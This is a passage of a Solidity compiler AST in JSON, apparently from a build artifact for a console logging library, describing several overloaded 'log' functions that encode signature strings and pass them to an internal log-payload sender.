:"22417:45:15"},"returnParameters":{"id":26236,"nodeType":"ParameterList","parameters":[],"src":"22477:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26272,"nodeType":"FunctionDefinition","src":"22593:188:15","nodes":[],"body":{"id":26271,"nodeType":"Block","src":"22668:113:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c75696e743235362c616464726573732c75696e7432353629","id":26263,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"22718:38:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_88f6e4b2e9fd1797748b31e8b1564d27784c7a0b5de7a75df225524205baab36","typeString":"literal_string \"log(uint256,uint256,address,uint256)\""},"value":"log(uint256,uint256,address,uint256)"},{"id":26264,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26251,"src":"22758:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26265,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26253,"src":"22762:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26266,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26255,"src":"22766:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":26267,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26257,"src":"22770:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_88f6e4b2e9fd1797748b31e8b1564d27784c7a0b5de7a75df225524205baab36","typeString":"literal_string \"log(uint256,uint256,address,uint256)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":26261,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"22694:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26262,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"22698:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"22694:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26268,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22694:79:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26260,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"22678:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26269,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22678:96:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26270,"nodeType":"ExpressionStatement","src":"22678:96:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"22602:3:15","parameters":{"id":26258,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26251,"mutability":"mutable","name":"p0","nameLocation":"22614:2:15","nodeType":"VariableDeclaration","scope":26272,"src":"22606:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26250,"name":"uint256","nodeType":"ElementaryTypeName","src":"22606:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26253,"mutability":"mutable","name":"p1","nameLocation":"22626:2:15","nodeType":"VariableDeclaration","scope":26272,"src":"22618:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26252,"name":"uint256","nodeType":"ElementaryTypeName","src":"22618:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26255,"mutability":"mutable","name":"p2","nameLocation":"22638:2:15","nodeType":"VariableDeclaration","scope":26272,"src":"22630:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":26254,"name":"address","nodeType":"ElementaryTypeName","src":"22630:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":26257,"mutability":"mutable","name":"p3","nameLocation":"22650:2:15","nodeType":"VariableDeclaration","scope":26272,"src":"22642:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26256,"name":"uint256","nodeType":"ElementaryTypeName","src":"22642:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"22605:48:15"},"returnParameters":{"id":26259,"nodeType":"ParameterList","parameters":[],"src":"22668:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26295,"nodeType":"FunctionDefinition","src":"22787:193:15","nodes":[],"body":{"id":26294,"nodeType":"Block","src":"22868:112:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c75696e743235362c616464726573732c737472696e6729","id":26286,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"22918:37:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_6cde40b8d4f88da65710732f1ce432c86447f486bf713e5763c0ab174df12f40","typeString":"literal_string \"log(uint256,uint256,address,string)\""},"value":"log(uint256,uint256,address,string)"},{"id":26287,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26274,"src":"22957:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26288,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26276,"src":"22961:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26289,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26278,"src":"22965:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":26290,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26280,"src":"22969:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_6cde40b8d4f88da65710732f1ce432c86447f486bf713e5763c0ab174df12f40","typeString":"literal_string \"log(uint256,uint256,address,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":26284,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"22894:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26285,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"22898:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"22894:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26291,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22894:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26283,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"22878:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26292,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22878:95:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26293,"nodeType":"ExpressionStatement","src":"22878:95:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"22796:3:15","parameters":{"id":26281,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26274,"mutability":"mutable","name":"p0","nameLocation":"22808:2:15","nodeType":"VariableDeclaration","scope":26295,"src":"22800:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26273,"name":"uint256","nodeType":"ElementaryTypeName","src":"22800:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26276,"mutability":"mutable","name":"p1","nameLocation":"22820:2:15","nodeType":"VariableDeclaration","scope":26295,"src":"22812:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26275,"name":"uint256","nodeType":"ElementaryTypeName","src":"22812:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26278,"mutability":"mutable","name":"p2","nameLocation":"22832:2:15","nodeType":"VariableDeclaration","scope":26295,"src":"22824:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":26277,"name":"address","nodeType":"ElementaryTypeName","src":"22824:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":26280,"mutability":"mutable","name":"p3","nameLocation":"22850:2:15","nodeType":"VariableDeclaration","scope":26295,"src":"22836:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26279,"name":"string","nodeType":"ElementaryTypeName","src":"22836:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"22799:54:15"},"returnParameters":{"id":26282,"nodeType":"ParameterList","parameters":[],"src":"22868:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26318,"nodeType":"FunctionDefinition","src":"22986:182:15","nodes":[],"body":{"id":26317,"nodeType":"Block","src":"23058:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c75696e743235362c616464726573732c626f6f6c29","id":26309,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"23108:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_15cac47617578377cd39f9593e7bb3ffa0e284336b9741dcc2c4151a93e1b201","typeString":"literal_string \"log(uint256,uint256,address,bool)\""},"value":"log(uint256,uint256,address,bool)"},{"id":26310,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26297,"src":"23145:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26311,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26299,"src":"23149:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26312,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26301,"src":"23153:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":26313,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26303,"src":"23157:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_15cac47617578377cd39f9593e7bb3ffa0e284336b9741dcc2c4151a93e1b201","typeString":"literal_string \"log(uint256,uint256,address,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":26307,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"23084:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26308,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"23088:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"23084:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26314,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"23084:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26306,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"23068:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26315,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"23068:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26316,"nodeType":"ExpressionStatement","src":"23068:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"22995:3:15","parameters":{"id":26304,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26297,"mutability":"mutable","name":"p0","nameLocation":"23007:2:15","nodeType":"VariableDeclaration","scope":26318,"src":"22999:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26296,"name":"uint256","nodeType":"ElementaryTypeName","src":"22999:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26299,"mutability":"mutable","name":"p1","nameLocation":"23019:2:15","nodeType":"VariableDeclaration","scope":26318,"src":"23011:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26298,"name":"uint256","nodeType":"ElementaryTypeName","src":"23011:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26301,"mutability":"mutable","name":"p2","nameLocation":"23031:2:15","nodeType":"VariableDeclaration","scope":26318,"src":"23023:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":26300,"name":"address","nodeType":"ElementaryTypeName","src":"23023:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":26303,"mutability":"mutable","name":"p3","nameLocation":"23040:2:15","nodeType":"VariableDeclaration","scope":26318,"src":"23035:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":26302,"name":"bool","nodeType":"ElementaryTypeName","src":"23035:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"22998:45:15"},"returnParameters":{"id":26305,"nodeType":"ParameterList","parameters":[],"src":"23058:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26341,"nodeType":"FunctionDefinition","src":"23174:188:15","nodes":[],"body":{"id":26340,"nodeType":"Block","src":"23249:113:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c75696e743235362c616464726573732c6164647265737329","id":26332,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"23299:38:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_56a5d1b1d2f0613b93371fc2b5ec91f6c2ba1375e1e4ff59b5061b56ca88e88d","typeString":"literal_string \"log(uint256,uint256,address,address)\""},"value":"log(uint256,uint256,address,address)"},{"id":26333,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26320,"src":"23339:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26334,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26322,"src":"23343:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26335,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26324,"src":"23347:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":26336,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26326,"src":"23351:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_56a5d1b1d2f0613b93371fc2b5ec91f6c2ba1375e1e4ff59b5061b56ca88e88d","typeString":"literal_string \"log(uint256,uint256,address,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":26330,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"23275:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26331,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"23279:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"23275:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26337,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"23275:79:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26329,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"23259:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26338,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"23259:96:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26339,"nodeType":"ExpressionStatement","src":"23259:96:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"23183:3:15","parameters":{"id":26327,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26320,"mutability":"mutable","name":"p0","nameLocation":"23195:2:15","nodeType":"VariableDeclaration","scope":26341,"src":"23187:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26319,"name":"uint256","nodeType":"ElementaryTypeName","src":"23187:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26322,"mutability":"mutable","name":"p1","nameLocation":"23207:2:15","nodeType":"VariableDeclaration","scope":26341,"src":"23199:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26321,"name":"uint256","nodeType":"ElementaryTypeName","src":"23199:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26324,"mutability":"mutable","name":"p2","nameLocation":"23219:2:15","nodeType":"VariableDeclaration","scope":26341,"src":"23211:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":26323,"name":"address","nodeType":"ElementaryTypeName","src":"23211:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":26326,"mutability":"mutable","name":"p3","nameLocation":"23231:2:15","nodeType":"VariableDeclaration","scope":26341,"src":"23223:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":26325,"name":"address","nodeType":"ElementaryTypeName","src":"23223:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"23186:48:15"},"returnParameters":{"id":26328,"nodeType":"ParameterList","parameters":[],"src":"23249:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26364,"nodeType":"FunctionDefinition","src":"23368:193:15","nodes":[],"body":{"id":26363,"nodeType":"Block","src":"23449:112:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c737472696e672c75696e743235362c75696e7432353629","id":26355,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"23499:37:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_82c25b74e3ddb6ea40e867e0a41af8848bdc6a88fd5e365497c46917573fd66f","typeString":"literal_string \"log(uint256,string,uint256,uint256)\""},"value":"log(uint256,string,uint256,uint256)"},{"id":26356,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26343,"src":"23538:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26357,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26345,"src":"23542:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":26358,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26347,"src":"23546:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26359,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26349,"src":"23550:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_82c25b74e3ddb6ea40e867e0a41af8848bdc6a88fd5e365497c46917573fd66f","typeString":"literal_string \"log(uint256,string,uint256,uint256)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":26353,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"23475:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26354,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"23479:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"23475:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26360,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"23475:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26352,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"23459:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26361,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"23459:95:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26362,"nodeType":"ExpressionStatement","src":"23459:95:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"23377:3:15","parameters":{"id":26350,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26343,"mutability":"mutable","name":"p0","nameLocation":"23389:2:15","nodeType":"VariableDeclaration","scope":26364,"src":"23381:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26342,"name":"uint256","nodeType":"ElementaryTypeName","src":"23381:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26345,"mutability":"mutable","name":"p1","nameLocation":"23407:2:15","nodeType":"VariableDeclaration","scope":26364,"src":"23393:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26344,"name":"string","nodeType":"ElementaryTypeName","src":"23393:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":26347,"mutability":"mutable","name":"p2","nameLocation":"23419:2:15","nodeType":"VariableDeclaration","scope":26364,"src":"23411:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26346,"name":"uint256","nodeType":"ElementaryTypeName","src":"23411:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26349,"mutability":"mutable","name":"p3","nameLocation":"23431:2:15","nodeType":"VariableDeclaration","scope":26364,"src":"23423:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26348,"name":"uint256","nodeType":"ElementaryTypeName","src":"23423:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"23380:54:15"},"returnParameters":{"id":26351,"nodeType":"ParameterList","parameters":[],"src":"23449:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26387,"nodeType":"FunctionDefinition","src":"23567:198:15","nodes":[],"body":{"id":26386,"nodeType":"Block","src":"23654:111:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c737472696e672c75696e743235362c737472696e6729","id":26378,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"23704:36:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_b7b914cad3c94167dcd4b5ef970076918e96b3894a20503b7d3f9648bea8aace","typeString":"literal_string \"log(uint256,string,uint256,string)\""},"value":"log(uint256,string,uint256,string)"},{"id":26379,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26366,"src":"23742:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26380,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26368,"src":"23746:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":26381,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26370,"src":"23750:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26382,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26372,"src":"23754:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_b7b914cad3c94167dcd4b5ef970076918e96b3894a20503b7d3f9648bea8aace","typeString":"literal_string \"log(uint256,string,uint256,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string 